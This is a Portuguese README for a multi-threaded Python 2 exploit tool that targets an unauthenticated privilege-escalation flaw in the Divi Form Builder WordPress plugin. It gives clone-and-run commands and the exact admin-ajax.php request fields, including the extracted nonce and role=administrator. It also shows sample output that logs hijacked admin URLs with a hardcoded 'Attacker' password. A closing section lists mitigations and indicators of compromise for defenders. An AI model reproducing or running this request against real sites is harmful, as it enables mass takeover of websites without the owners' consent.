Divi Form Builder <= 5.1.2 - Escalação de Privilégio Não Autenticada via 'role'

⚠️ AVISO: Esta ferramenta destina-se apenas a testes de penetração autorizados e pesquisa de segurança.
O acesso não autorizado a sistemas informáticos é ilegal. Utilize apenas em sistemas que possua ou para os quais tenha permissão explícita por escrito para testar. Mais avisos legais podem ser consultados na capa do Jenderal92. Pode verificá-los AQUI !!!

Visão Geral

Este script em Python 2 explora uma vulnerabilidade de escalação de privilégio no plugin WordPress Divi (e formulários Divi relacionados). Permite o registo remoto de uma conta de administrador através de:

• Extração do fb_nonce do formulário de registo Divi do alvo.
• Envio de um pedido multipart personalizado para /wp-admin/admin-ajax.php com role=administrator.
• Deteção automática de sucesso e gravação dos URLs de administrador comprometidos.

Características

• ✅ Multi-threaded (20 threads por padrão) para verificação rápida.
• ✅ Normalização automática de URL – adiciona https:// se estiver em falta.
• ✅ Extração de nonce usando múltiplos padrões regex (JavaScript inline, inputs ocultos, de_fb_obj).
• ✅ Pedido multipart/form-data que imita o envio legítimo de um navegador.
• ✅ Deteção de sucesso através de palavras-chave na resposta (success, user_id, user created, etc.).
• ✅ Resultados guardados em results.txt no formato:
  https://target.com/wp-admin/ | username | password

Requisitos

• Python 2.7 (usa urllib2, Queue, threading – não é compatível com Python 3 sem modificações)
• Uma lista de URLs alvo (um por linha)

Instalação

git clone https://github.com/Jenderal92/CVE-2026-5118.git
cd CVE-2026-5118
chmod +x CVE-2026-5118.py

Utilização

1. Preparar a lista de alvos

Crie um ficheiro de texto com um domínio ou URL por linha. Pode omitir http:// / https:// – o script adicionará https:// por padrão.

Exemplo targets.txt:

example.com
https://vulnerable-site.com
http://127.0.0.1/wordpress
test-site.org

2. Executar o exploit

python CVE-2026-5118.py targets.txt

3. Exemplo de saída

[*] Total targets : 4
[*] Credentials   : Attacker / Attacker@123#+
[*] Threads       : 20
[*] Output file   : results.txt

[1] Checking https://example.com
[+] SUCCESS! https://example.com/wp-admin/

[2] Checking https://vulnerable-site.com
[+] SUCCESS! https://vulnerable-site.com/wp-admin/

[3] Checking http://192.168.1.100/wordpress
[3] FAILED  http://192.168.1.100/wordpress

[4] Checking https://test-site.org
[4] FAILED  https://test-site.org

=== DONE ===
Successful: 2 / 4

4. Ficheiro de resultados (results.txt)

https://example.com/wp-admin/|Attacker|Attacker@123#+
https://vulnerable-site.com/wp-admin/|Attacker|Attacker@123#+

Configuração

Pode personalizar as seguintes variáveis no topo do script:

Como Funciona

1. Normalizar URL – adiciona https:// se nenhum esquema for fornecido.
2. Extrair nonce – obtém a página inicial (ou página de registo) e procura por fb_nonce usando padrões regex.
3. Construir pedido – constrói um POST multipart/form-data contendo:
   • action=de_fb_ajax_submit_ajax_handler
   • fb_nonce=<nonce extraído>
   • role=administrator
   • de_fb_user_login / user_login
   • de_fb_user_pass / user_pass
   • de_fb_user_email / user_email
4. Enviar para admin-ajax.php – se a resposta contiver alguma palavra-chave de sucesso, o alvo é marcado como vulnerável.

Deteção e Mitigação

Para administradores WordPress que utilizam Divi:

• Atualize o Divi e todos os plugins associados para a versão mais recente.
• Desative o registo público se não for necessário.
• Utilize um plugin de segurança (Wordfence, Sucuri) para monitorizar os pedidos a admin-ajax.php.
• Implemente reCAPTCHA em todos os formulários de registo.
• Nunca exponha formulários de registo com um parâmetro role que possa ser manipulado.

Indicadores de comprometimento (IOCs):

• Pedidos inesperados a admin-ajax.php com action=de_fb_ajax_submit_ajax_handler
• Novos utilizadores administradores com nomes de utilizador suspeitos (ex.: Attacker)
• Dados POST contendo role=administrator nos registos de acesso

Aviso Legal

Este software é fornecido apenas para fins educacionais e testes de segurança autorizados. O autor não assume qualquer responsabilidade por uso indevido ou danos causados por esta ferramenta. Ao utilizar este software, concorda em:

• Obter permissão por escrito do proprietário do sistema antes de testar.
• Cumprir todas as leis aplicáveis (CFAA, Computer Misuse Act, UU ITE, etc.).
• Eliminar imediatamente qualquer acesso não autorizado obtido.
• Reportar vulnerabilidades de forma responsável ao fornecedor afetado.

A violação destes termos pode resultar em processo criminal, multas ou prisão.

Contribuições

Solicitações de pull são bem-vindas para melhorias (porta para Python 3, melhor extração de nonce, deteção adicional de caminhos de registo). Por favor, mantenha o aviso legal ético.